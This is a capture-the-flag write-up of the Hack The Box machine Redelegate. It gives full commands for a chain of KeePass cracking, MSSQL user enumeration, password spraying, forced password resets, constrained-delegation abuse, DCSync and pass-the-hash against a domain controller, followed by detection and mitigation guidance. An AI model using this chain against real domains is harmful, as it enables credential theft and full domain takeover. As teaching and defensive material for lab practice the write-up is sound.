Overview

Redelegate is a Windows Active Directory Domain Controller that layers a chain of small misconfigurations into a full domain compromise. The box exposes anonymous FTP alongside the usual DC services and a Microsoft SQL Server instance. The FTP share leaks a shared KeePass database and a couple of “audit” documents, one of which conveniently hints at the exact weak password pattern in use on the domain (SeasonYear!). That hint cracks the KeePass passphrase, which in turn yields a set of stored credentials.

None of the recovered credentials work directly as domain accounts, but the SQLGuest entry authenticates to MSSQL as a local login. From there the SQL Server can be abused to translate SIDs into account names, producing a full list of domain users without any domain foothold. Spraying the seasonal wordlist against that user list lands Marie.Curie:Fall2024!.

Marie.Curie is a member of the Helpdesk group and holds ForceChangePassword over Helen.Frost. Resetting that account provides WinRM access and the user flag. Helen.Frost is the interesting account: it is assigned SeEnableDelegationPrivilege and, via the IT group, holds GenericAll over the FS01$ computer object. Because MachineAccountQuota is 0 and DNS record creation is blocked, unconstrained delegation is off the table. Instead, the existing FS01$ account is weaponised for constrained delegation with protocol transition, producing a cifs/dc.redelegate.vl ticket that carries the DC machine account context. That ticket is used to DCSync the Administrator NT hash and pass-the-hash into a SYSTEM-level shell.

1
2
3
4
5
6
recon -> anonymous FTP -> KeePass DB -> cracked passphrase (seasons wordlist)
  -> SQLGuest creds -> MSSQL local auth -> RID brute (domain user enum)
  -> password spray -> Marie.Curie (Helpdesk) -> ForceChangePassword -> Helen.Frost
  -> WinRM shell (user flag) -> SeEnableDelegationPrivilege + GenericAll over FS01$
  -> constrained delegation (S4U2self/S4U2proxy) -> cifs/dc ticket as dc
  -> DCSync Administrator -> WinRM as Administrator (root flag)

Reconnaissance

A full TCP port scan shows the fingerprint of a Windows Domain Controller, with two services that stand out for not belonging on a DC: FTP and MSSQL.

1
2
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001 -sCV 10.10.10.x

The relevant ports:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl)
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

The Kerberos, LDAP, and SMB trio confirms a DC, and RDP/SMB reporting DNS_Computer_Name: dc.redelegate.vl gives the domain (redelegate.vl) and hostname (DC). The FTP banner already advertises anonymous access, and the nmap ftp-anon script lists three files, which makes FTP the natural first stop. Port 80 is a default IIS page with nothing behind it, so it is a dead end.

The domain name and host are added to /etc/hosts:

1
10.10.10.x   dc.redelegate.vl redelegate.vl DC

Initial Access

Anonymous FTP

Anonymous authentication succeeds and exposes three files. The KeePass database is binary, so the transfer must be switched to binary mode to avoid corrupting it.

1
2
3
CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt

CyberAudit.txt is a generic audit summary. TrainingAgenda.txt is more useful: one of the training sessions is titled around why SeasonYear! is a bad password, and the file dates place the box in 2024. That is a direct hint at the password format in use on the domain.

Shared.kdbx is a KeePass 2.x database:

1
file Shared.kdbx
1
Shared.kdbx: Keepass password database 2.x KDBX

Cracking the KeePass Database

keepass2john extracts a crackable hash from the database:

1
keepass2john Shared.kdbx | tee Shared.kdbx.hash

The generic wordlists do not crack it in reasonable time, but the training hint narrows the keyspace to a handful of seasonal candidates. A tiny custom wordlist built from Season + Year + ! is enough:

1
2
3
4
5
Winter2024!
Spring2024!
Summer2024!
Fall2024!
Autumn2024!

hashcat mode 13400 (KeePass 2 AES, no keyfile) recovers the passphrase almost instantly:

1
hashcat -m 13400 Shared.kdbx.hash seasons

The database password is Fall2024!.

Exporting the database reveals several stored entries, including a set of SQL and application credentials. The one that matters is the SQLGuest login:

1
SQLGuest:zDPBpaF4FywlqIv11vii

MSSQL Local Authentication

The recovered credentials do not authenticate as domain accounts over SMB. The SQLGuest entry, however, is a SQL Server local login rather than a domain account, so it only works with local authentication. This distinction matters: without --local-auth, NetExec sends the login to the Domain Controller (which has no such domain account and returns a logon failure), while with it the credential is validated against the SQL Server’s own login store.

1
nxc mssql dc.redelegate.vl -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
1
MSSQL   10.10.10.x   1433   DC   [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

Domain User Enumeration via MSSQL

A low-privileged SQL login cannot run xp_cmdshell here, but it can still translate SIDs to names using SUSER_SNAME. By recovering the domain SID base (for example from a well-known group) and iterating the RID range, the SQL Server itself resolves each RID to a domain principal, effectively leaking the user list with no domain credentials at all. Metasploit automates this cleanly:

1
2
3
4
5
6
msfconsole
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS dc.redelegate.vl
set USERNAME SQLGuest
set PASSWORD zDPBpaF4FywlqIv11vii
run

The interesting domain accounts recovered:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
FS01$
DC$

Password Spray

With a user list and the seasonal wordlist, a spray against SMB finds a hit. Mallory.Roberts returns STATUS_ACCOUNT_RESTRICTION (a privileged account with logon restrictions), but Marie.Curie reuses the seasonal password:

1
nxc smb redelegate.vl -u users.txt -p seasons.txt --continue-on-success
1
SMB   10.10.10.x   445   DC   [+] redelegate.vl\Marie.Curie:Fall2024!

Confirming the credential as a genuine domain login:

1
nxc smb redelegate.vl -u Marie.Curie -p 'Fall2024!'
1
SMB   10.10.10.x   445   DC   [+] redelegate.vl\Marie.Curie:Fall2024!

Lateral Movement

BloodHound Analysis

Collecting graph data as Marie.Curie shows the path forward. Marie.Curie is a member of the Helpdesk group, which holds ForceChangePassword over Helen.Frost. Helen.Frost in turn has CanPSRemote to the Domain Controller (Remote Management Users) and, through the IT group, GenericAll over the FS01$ computer object. Helen.Frost is also the account that carries SeEnableDelegationPrivilege, which becomes the pivot for privilege escalation.

The ForceChangePassword right allows resetting the target’s password without knowing the current one. Note that the Helpdesk ACL covers more than one account (for instance sql_svc can also be reset), but Helen.Frost is the account that leads anywhere useful.

Resetting Helen.Frost

Using Marie.Curie’s credentials, bloodyAD performs the password reset over LDAP:

1
bloodyAD --host DC.REDELEGATE.VL -d REDELEGATE.VL -u Marie.Curie -p 'Fall2024!' set password HELEN.FROST 'P@ssword1!'
1
[+] Password changed successfully!

Helen.Frost is in Remote Management Users, so WinRM is available:

1
evil-winrm -i redelegate.vl -u HELEN.FROST -p 'P@ssword1!'
1
2
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt
[REDACTED_USER_FLAG]

Checking privileges immediately reveals the escalation vector:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> whoami /priv

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

hostname confirms the session is on the DC itself, and whoami returns redelegate\helen.frost.

Privilege Escalation

Why Unconstrained Delegation Is Not an Option

SeEnableDelegationPrivilege grants the holder the ability to mark computer and user accounts as trusted for delegation. The classic route would be unconstrained delegation: stand up a controlled computer object, flag it TRUSTED_FOR_DELEGATION, register a DNS record and SPN for it, then coerce the DC to authenticate to it and capture its TGT. That path requires two things this domain denies. MachineAccountQuota is 0, so a normal user cannot join a new machine account:

1
nxc ldap dc.redelegate.vl -u marie.curie -p 'Fall2024!' -M maq
1
MAQ   10.10.10.x   389   DC   MachineAccountQuota: 0

DNS record creation is also refused, so a coercible target with a resolvable SPN cannot be constructed. Kerberos coercion needs an SPN backed by a DNS A record, and neither can be created here.

Configuring Constrained Delegation on FS01$

The workaround combines the two misconfigurations that are available: GenericAll over the existing FS01$ object (write access) and SeEnableDelegationPrivilege (the right to set delegation flags). Rather than creating a machine, the existing FS01$ account is configured for constrained delegation with protocol transition to cifs/dc.redelegate.vl. With TRUSTED_TO_AUTH_FOR_DELEGATION set, FS01$ can perform S4U2self for any principal (protocol transition) and then S4U2proxy to reach the allowed SPN while impersonating that principal.

First, a TGT is requested for Helen.Frost. Kerberos operations against this DC repeatedly failed with KRB_AP_ERR_SKEW until the local clock was synchronised to the DC’s time (here via a small time-sync wrapper, htbsync, that sets the clock immediately before running each command):

1
2
htbsync impacket-getTGT redelegate.vl/helen.frost -dc-ip 10.10.10.x
export KRB5CCNAME=helen.frost.ccache

Using that ticket, FS01$ is taken over and configured. The password change requires write control (GenericAll), the UAC flag requires SeEnableDelegationPrivilege, and the delegation target attribute requires write control:

1
2
3
4
5
6
7
8
# Own the computer account by resetting its password
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set password "FS01$" 'P@ssword1!'

# Enable protocol transition (S4U2self)
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION

# Point constrained delegation at CIFS on the DC (S4U2proxy target)
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
1
2
3
[+] Password changed successfully!
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl
[+] FS01$'s msDS-AllowedToDelegateTo has been updated

Requesting the Impersonation Ticket

The S4U request initially failed with KRB_AP_ERR_BADMATCH. The cause was the lingering KRB5CCNAME still pointing at helen.frost.ccache, so getST tried to reuse Helen.Frost’s TGT instead of requesting a fresh one for FS01$. Clearing the variable and letting getST obtain its own TGT (with -dc-ip) resolves it:

1
2
unset KRB5CCNAME
htbsync impacket-getST -dc-ip 10.10.10.x redelegate.vl/fs01\$:'P@ssword1!' -spn cifs/dc.redelegate.vl -impersonate dc
1
2
3
4
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@[email protected]

The principal being impersonated is the DC’s own machine account (dc). As a Domain Controller, that account inherently holds directory replication rights, so a CIFS ticket to the DC issued in its context is enough to drive a DRSUAPI dump.

DCSync

Loading the resulting ticket and running secretsdump against the DC extracts the Administrator secrets:

1
2
export KRB5CCNAME=dc@[email protected]
htbsync impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:db3a850aa5ede4cfacb57490d9b789b1ca0802ae11e09db5f117c1a8d1ccd173

Administrator Shell

With the Administrator NT hash, a pass-the-hash WinRM session lands as the domain administrator:

1
evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
1
2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
Anonymous FTP exposing secretsAnonymous FTP enabled with a credential store in the shareDisable anonymous FTP; never place KeePass databases or credential material on shared services
KeePass passphrase crackedWeak, predictable seasonal passphrase; hint leaked in a plaintext fileEnforce strong, unique KeePass master passphrases; do not document password patterns in accessible files
MSSQL local loginReusable local SQL login stored in a shared vaultRotate and restrict SQL logins; avoid storing service credentials in shared vaults
Domain user enumeration via MSSQLSUSER_SNAME SID translation available to any loginRestrict SQL public role permissions; monitor bulk SID-to-name resolution
Password spray successSeasonal password reuse across domain accountsEnforce strong password policy, banned-password lists, and account lockout/smart lockout
ForceChangePassword ACLHelpdesk group granted broad password-reset rights over user accountsScope delegated password-reset rights tightly; audit ACLs on user objects
SeEnableDelegationPrivilege on a non-adminDelegation-configuration right assigned to a standard userRemove SeEnableDelegationPrivilege from all but tightly controlled admins
GenericAll over FS01$IT group holds full control of a computer objectRemove excessive object ACLs; apply least privilege to computer objects
Constrained delegation to DCSyncAttacker-controlled TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-AllowedToDelegateToMark sensitive accounts “Account is sensitive and cannot be delegated” / add to Protected Users; alert on delegation attribute changes

Detection signals:

  • FTP anonymous logons and outbound transfers of .kdbx files.
  • Bursts of failed logons across many accounts (Event ID 4625) and Kerberos pre-auth failures (Event ID 4771) indicative of a spray.
  • SQL Server logins from a local SQLGuest account followed by repeated SUSER_SNAME/SID translation activity.
  • Password-reset events without user context (Event IDs 4723/4724) tied to helpdesk accounts.
  • Account-change events on the FS01$ computer object (Event ID 4738), specifically userAccountControl gaining TRUSTED_TO_AUTH_FOR_DELEGATION and msDS-AllowedToDelegateTo being populated.
  • S4U TGS requests (Event ID 4769) for cifs/dc.redelegate.vl with a transited/impersonated service field.
  • Directory replication reads (Event ID 4662 referencing DS-Replication-Get-Changes GUIDs) or DRSUAPI activity originating from a non-DC host.

Lessons Learned

  • Anonymous services and shared credential vaults are a lethal combination: a single exposed KeePass file collapsed the initial access barrier entirely.
  • Security awareness material that documents the exact bad-password format effectively hands an attacker the spray wordlist. Guidance should never contain live examples of the pattern in use.
  • Local SQL Server logins still enable meaningful Active Directory reconnaissance through SID translation, even with no domain foothold.
  • SeEnableDelegationPrivilege is close to domain-admin-equivalent when paired with write access to any computer object; it should be treated as a Tier 0 right.
  • Hardening one delegation vector is not enough. MachineAccountQuota of 0 and DNS lockdown correctly blocked unconstrained delegation, but an existing, writable computer account reopened the same outcome through constrained delegation with protocol transition.
  • Kerberos-based tooling is time-sensitive. Persistent KRB_AP_ERR_SKEW and stale KRB5CCNAME values are configuration issues, not dead ends, and are worth ruling out before abandoning a technique.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Recon
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001 -sCV 10.10.10.x

# Anonymous FTP loot (use binary mode for the KeePass DB)
ftp [email protected]

# Crack the KeePass database with a seasonal wordlist
keepass2john Shared.kdbx | tee Shared.kdbx.hash
hashcat -m 13400 Shared.kdbx.hash seasons        # -> Fall2024!

# MSSQL local auth with the recovered SQLGuest login
nxc mssql dc.redelegate.vl -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth

# Domain user enumeration via SID translation
msfconsole -q -x "use auxiliary/admin/mssql/mssql_enum_domain_accounts; \
  set RHOSTS dc.redelegate.vl; set USERNAME SQLGuest; set PASSWORD zDPBpaF4FywlqIv11vii; run"

# Password spray
nxc smb redelegate.vl -u users.txt -p seasons.txt --continue-on-success   # -> Marie.Curie:Fall2024!

# Reset Helen.Frost via Helpdesk ForceChangePassword
bloodyAD --host DC.REDELEGATE.VL -d REDELEGATE.VL -u Marie.Curie -p 'Fall2024!' set password HELEN.FROST '<password>'

# WinRM as Helen.Frost (user flag)
evil-winrm -i redelegate.vl -u HELEN.FROST -p '<password>'

# Get a TGT for Helen.Frost (sync clock to the DC to avoid KRB_AP_ERR_SKEW)
htbsync impacket-getTGT redelegate.vl/helen.frost -dc-ip 10.10.10.x
export KRB5CCNAME=helen.frost.ccache

# Weaponise FS01$ for constrained delegation with protocol transition
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set password "FS01$" '<password>'
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'

# S4U2self + S4U2proxy impersonating the DC account
unset KRB5CCNAME
htbsync impacket-getST -dc-ip 10.10.10.x redelegate.vl/fs01\$:'<password>' -spn cifs/dc.redelegate.vl -impersonate dc

# DCSync the Administrator hash
export KRB5CCNAME=dc@[email protected]
htbsync impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator

# Pass-the-hash as Administrator (root flag)
evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7

Based on public write-ups of the Hack The Box machine Redelegate.